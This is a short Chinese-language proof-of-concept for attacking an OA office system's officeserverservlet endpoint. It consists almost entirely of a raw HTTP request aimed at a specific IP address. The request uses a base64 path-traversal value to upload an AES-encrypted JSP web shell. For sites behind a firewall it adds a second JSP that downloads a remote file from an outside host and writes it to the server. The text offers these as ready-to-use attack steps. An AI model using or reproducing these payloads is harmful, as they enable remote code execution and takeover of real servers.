OA
cookie有可能需要替换
POC
POST /defaultroot/officeserverservlet HTTP/1.1 Host: 218.23.220.151:7001 User-Agent: Go-http-client/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close Cookie: OASESSIONID=8361368A6EDF899EFE8D952E95619751; LocLan=zh_CN; insert_cookie=83427487 Upgrade-Insecure-Requests: 1 Accept-Encoding: gzip, deflate Content-Length: 860 DBSTEP V3.0 185 0 611 DBSTEP=REJTVEVQ OPTION=U0FWRUZJTEU= RECORDID= firstFilesize=dHJ1ZQ== isDoc=dHJ1ZQ== moduleType=aW5mb3JtYXRpb24= FILETYPE=Ly4uLy4uL3B1YmxpYy9lZGl0L3Rlc3QxLmpzcA== isViewOld=MQ== <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("Rose")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
路径
/defaultroot/public/edit/test1.jsp
碰到有WAF的时候可以先写入远程下载文件的代码:
<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %>
然后访问
http://localhost:8080/defaultroot/public/edit/test1.jsp?f=/public/edit/1111.jsp&u=http://132.232.0.219/1111.jsp